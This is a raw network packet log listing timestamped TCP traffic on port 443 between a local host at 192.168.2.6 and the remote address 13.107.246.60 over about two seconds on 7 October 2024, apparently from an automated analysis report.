Oct 7, 2024 03:16:48.208756924 CEST	443	49960	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:48.209098101 CEST	443	49960	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:48.209175110 CEST	49960	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:48.209254026 CEST	49960	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:48.209307909 CEST	443	49960	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:48.209342003 CEST	49960	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:48.209359884 CEST	443	49960	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:48.213318110 CEST	49964	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:48.213422060 CEST	443	49964	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:48.213506937 CEST	49964	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:48.213730097 CEST	49964	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:48.213766098 CEST	443	49964	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:48.322185040 CEST	443	49961	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:48.322844982 CEST	49961	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:48.322868109 CEST	443	49961	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:48.323510885 CEST	49961	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:48.323517084 CEST	443	49961	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:48.343480110 CEST	443	49962	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:48.344149113 CEST	49962	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:48.344162941 CEST	443	49962	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:48.344923019 CEST	49962	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:48.344928026 CEST	443	49962	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:48.363589048 CEST	443	49963	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:48.363951921 CEST	49963	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:48.363998890 CEST	443	49963	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:48.364372015 CEST	49963	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:48.364384890 CEST	443	49963	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:48.422442913 CEST	443	49961	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:48.422727108 CEST	443	49961	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:48.422785997 CEST	49961	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:48.422828913 CEST	49961	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:48.422844887 CEST	443	49961	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:48.422853947 CEST	49961	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:48.422858953 CEST	443	49961	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:48.425590992 CEST	49965	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:48.425627947 CEST	443	49965	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:48.425698042 CEST	49965	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:48.425992012 CEST	49965	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:48.426006079 CEST	443	49965	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:48.441590071 CEST	443	49962	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:48.441646099 CEST	443	49962	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:48.441836119 CEST	49962	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:48.441840887 CEST	443	49962	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:48.441898108 CEST	49962	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:48.441936016 CEST	49962	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:48.441940069 CEST	443	49962	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:48.441948891 CEST	49962	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:48.441953897 CEST	443	49962	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:48.444911957 CEST	49966	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:48.444921017 CEST	443	49966	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:48.445014000 CEST	49966	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:48.445164919 CEST	49966	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:48.445173979 CEST	443	49966	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:48.462301016 CEST	443	49963	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:48.462455988 CEST	443	49963	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:48.462523937 CEST	49963	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:48.462599039 CEST	49963	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:48.462635040 CEST	443	49963	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:48.462661028 CEST	49963	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:48.462677956 CEST	443	49963	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:48.465358973 CEST	49967	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:48.465435028 CEST	443	49967	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:48.465504885 CEST	49967	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:48.465635061 CEST	49967	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:48.465668917 CEST	443	49967	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:48.866604090 CEST	443	49964	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:48.867372036 CEST	49964	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:48.867427111 CEST	443	49964	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:48.867949009 CEST	49964	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:48.867963076 CEST	443	49964	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:48.966933012 CEST	443	49964	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:48.966984987 CEST	443	49964	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:48.967037916 CEST	49964	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:48.967063904 CEST	443	49964	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:48.967180014 CEST	443	49964	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:48.967236042 CEST	49964	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:48.967329025 CEST	49964	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:48.967361927 CEST	443	49964	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:48.967412949 CEST	49964	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:48.967431068 CEST	443	49964	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:48.970336914 CEST	49968	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:48.970386028 CEST	443	49968	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:48.970452070 CEST	49968	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:48.970592022 CEST	49968	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:48.970612049 CEST	443	49968	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:49.090617895 CEST	443	49966	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:49.091074944 CEST	49966	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:49.091104984 CEST	443	49966	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:49.091777086 CEST	49966	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:49.091783047 CEST	443	49966	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:49.100131989 CEST	443	49948	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:49.100404978 CEST	49948	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:49.100492954 CEST	443	49948	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:49.100851059 CEST	49948	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:49.100867033 CEST	443	49948	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:49.105310917 CEST	443	49965	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:49.105633974 CEST	49965	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:49.105643034 CEST	443	49965	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:49.106101990 CEST	49965	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:49.106107950 CEST	443	49965	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:49.138586044 CEST	443	49967	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:49.139038086 CEST	49967	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:49.139062881 CEST	443	49967	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:49.139698982 CEST	49967	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:49.139710903 CEST	443	49967	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:49.189847946 CEST	443	49966	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:49.189898014 CEST	443	49966	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:49.189951897 CEST	49966	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:49.189969063 CEST	443	49966	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:49.190176010 CEST	443	49966	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:49.190196037 CEST	49966	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:49.190222979 CEST	443	49966	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:49.190237999 CEST	49966	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:49.190237999 CEST	49966	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:49.190246105 CEST	443	49966	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:49.190253973 CEST	443	49966	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:49.193670034 CEST	49969	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:49.193761110 CEST	443	49969	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:49.193837881 CEST	49969	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:49.193958998 CEST	49969	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:49.193980932 CEST	443	49969	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:49.202466011 CEST	443	49948	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:49.202650070 CEST	443	49948	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:49.202713013 CEST	49948	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:49.202805042 CEST	49948	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:49.202805042 CEST	49948	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:49.202850103 CEST	443	49948	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:49.202881098 CEST	443	49948	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:49.205358982 CEST	49970	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:49.205388069 CEST	443	49970	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:49.205457926 CEST	49970	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:49.205607891 CEST	49970	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:49.205635071 CEST	443	49970	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:49.209834099 CEST	443	49965	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:49.209908962 CEST	443	49965	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:49.209961891 CEST	49965	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:49.209970951 CEST	443	49965	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:49.210086107 CEST	49965	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:49.210093021 CEST	443	49965	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:49.210103989 CEST	49965	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:49.210131884 CEST	443	49965	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:49.212312937 CEST	49971	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:49.212351084 CEST	443	49971	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:49.212413073 CEST	49971	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:49.212518930 CEST	49971	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:49.212528944 CEST	443	49971	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:49.240400076 CEST	443	49967	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:49.240458012 CEST	443	49967	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:49.240511894 CEST	49967	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:49.240533113 CEST	443	49967	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:49.240612030 CEST	443	49967	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:49.240645885 CEST	49967	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:49.240679979 CEST	443	49967	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:49.240705967 CEST	49967	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:49.240705967 CEST	49967	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:49.240726948 CEST	443	49967	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:49.240745068 CEST	443	49967	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:49.243602991 CEST	49972	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:49.243637085 CEST	443	49972	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:49.243700027 CEST	49972	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:49.243841887 CEST	49972	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:49.243860006 CEST	443	49972	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:49.636128902 CEST	443	49968	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:49.636805058 CEST	49968	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:49.636823893 CEST	443	49968	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:49.637310982 CEST	49968	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:49.637317896 CEST	443	49968	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:49.738068104 CEST	443	49968	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:49.738204002 CEST	443	49968	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:49.738351107 CEST	49968	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:49.738416910 CEST	49968	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:49.738437891 CEST	443	49968	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:49.738451004 CEST	49968	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:49.738460064 CEST	443	49968	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:49.741811037 CEST	49973	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:49.741905928 CEST	443	49973	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:49.742054939 CEST	49973	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:49.742244005 CEST	49973	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:49.742278099 CEST	443	49973	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:49.848004103 CEST	443	49971	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:49.850142002 CEST	49971	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:49.850167990 CEST	443	49971	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:49.850476980 CEST	49971	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:49.850483894 CEST	443	49971	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:49.858081102 CEST	443	49969	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:49.858632088 CEST	49969	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:49.858679056 CEST	443	49969	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:49.859200001 CEST	49969	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:49.859214067 CEST	443	49969	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:49.873635054 CEST	443	49970	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:49.873976946 CEST	49970	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:49.873997927 CEST	443	49970	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:49.874582052 CEST	49970	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:49.874593973 CEST	443	49970	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:49.886096001 CEST	443	49972	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:49.886456966 CEST	49972	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:49.886476040 CEST	443	49972	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:49.886818886 CEST	49972	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:49.886825085 CEST	443	49972	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:49.950695038 CEST	443	49971	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:49.951167107 CEST	443	49971	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:49.951334000 CEST	49971	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:49.951334000 CEST	49971	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:49.951334000 CEST	49971	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:49.954497099 CEST	49974	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:49.954596043 CEST	443	49974	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:49.954694033 CEST	49974	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:49.954824924 CEST	49974	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:49.954864025 CEST	443	49974	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:49.986040115 CEST	443	49969	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:49.986195087 CEST	443	49969	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:49.986346960 CEST	49969	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:49.986347914 CEST	49969	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:49.986347914 CEST	49969	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:49.988311052 CEST	49975	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:49.988351107 CEST	443	49975	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:49.988445044 CEST	49975	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:49.988512039 CEST	49975	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:49.988521099 CEST	443	49975	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:49.996474981 CEST	443	49972	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:49.996527910 CEST	443	49972	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:49.996592999 CEST	49972	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:49.996603012 CEST	443	49972	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:49.996637106 CEST	49972	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:49.996645927 CEST	443	49972	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:49.996675968 CEST	49972	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:49.996690989 CEST	49972	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:49.996761084 CEST	49972	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:49.996771097 CEST	443	49972	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:49.996781111 CEST	49972	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:49.996788025 CEST	443	49972	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:49.996818066 CEST	443	49970	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:49.996964931 CEST	443	49970	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:49.997011900 CEST	49970	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:49.997090101 CEST	49970	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:49.997111082 CEST	443	49970	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:49.997126102 CEST	49970	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:49.997132063 CEST	443	49970	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:49.999106884 CEST	49976	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:49.999193907 CEST	443	49976	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:49.999277115 CEST	49976	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:49.999445915 CEST	49976	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:49.999480963 CEST	443	49976	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:49.999800920 CEST	49977	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:49.999871969 CEST	443	49977	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:49.999943018 CEST	49977	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:50.000030041 CEST	49977	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:50.000051975 CEST	443	49977	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:50.211661100 CEST	49969	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:50.211702108 CEST	443	49969	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:50.258518934 CEST	49971	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:50.258546114 CEST	443	49971	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:50.412195921 CEST	443	49973	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:50.412959099 CEST	49973	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:50.413024902 CEST	443	49973	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:50.413398027 CEST	49973	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:50.413414955 CEST	443	49973	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:50.513716936 CEST	443	49973	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:50.513792038 CEST	443	49973	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:50.514019012 CEST	49973	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:50.514086008 CEST	443	49973	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:50.514144897 CEST	443	49973	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:50.514204025 CEST	49973	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:50.539313078 CEST	49973	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:50.539313078 CEST	49973	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:50.539405107 CEST	443	49973	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:50.539494991 CEST	443	49973	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:50.543694973 CEST	49978	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:50.543773890 CEST	443	49978	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:50.543844938 CEST	49978	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:50.543997049 CEST	49978	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:50.544034004 CEST	443	49978	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:50.634799004 CEST	443	49974	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:50.636709929 CEST	49974	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:50.636774063 CEST	443	49974	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:50.637232065 CEST	49974	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:50.637247086 CEST	443	49974	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:50.639219999 CEST	443	49976	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:50.639519930 CEST	49976	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:50.639580965 CEST	443	49976	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:50.639878988 CEST	49976	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:50.639894009 CEST	443	49976	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:50.642688036 CEST	443	49975	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:50.642999887 CEST	49975	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:50.643027067 CEST	443	49975	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:50.643361092 CEST	49975	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:50.643368006 CEST	443	49975	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:50.680144072 CEST	443	49977	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:50.686078072 CEST	49977	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:50.686131001 CEST	443	49977	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:50.692749023 CEST	49977	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:50.692764044 CEST	443	49977	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:50.740430117 CEST	443	49976	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:50.740503073 CEST	443	49976	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:50.740545034 CEST	443	49976	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:50.740593910 CEST	49976	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:50.740664959 CEST	443	49976	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:50.740705013 CEST	49976	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:50.740727901 CEST	49976	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:50.740736961 CEST	443	49974	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:50.740793943 CEST	443	49974	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:50.740834951 CEST	443	49974	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:50.740876913 CEST	49974	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:50.740950108 CEST	443	49974	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:50.740993023 CEST	49974	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:50.741015911 CEST	49974	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:50.742734909 CEST	443	49975	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:50.742806911 CEST	443	49975	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:50.742854118 CEST	49975	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:50.742866993 CEST	443	49975	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:50.742969036 CEST	443	49975	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:50.743038893 CEST	49975	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:50.750411987 CEST	49975	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:50.750430107 CEST	443	49975	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:50.750439882 CEST	49975	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:50.750447035 CEST	443	49975	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:50.794029951 CEST	443	49977	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:50.794061899 CEST	443	49977	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:50.794121981 CEST	49977	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:50.794147015 CEST	443	49977	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:50.794195890 CEST	49977	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:50.794210911 CEST	443	49977	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:50.794239998 CEST	443	49977	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:50.794285059 CEST	49977	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:50.805387974 CEST	49977	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:50.805418015 CEST	443	49977	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:50.805546999 CEST	49977	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:50.805563927 CEST	443	49977	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:50.807554007 CEST	49979	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:50.807648897 CEST	443	49979	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:50.807732105 CEST	49979	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:50.825845957 CEST	443	49976	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:50.825918913 CEST	443	49976	13.107.246.60	192.168.2.6
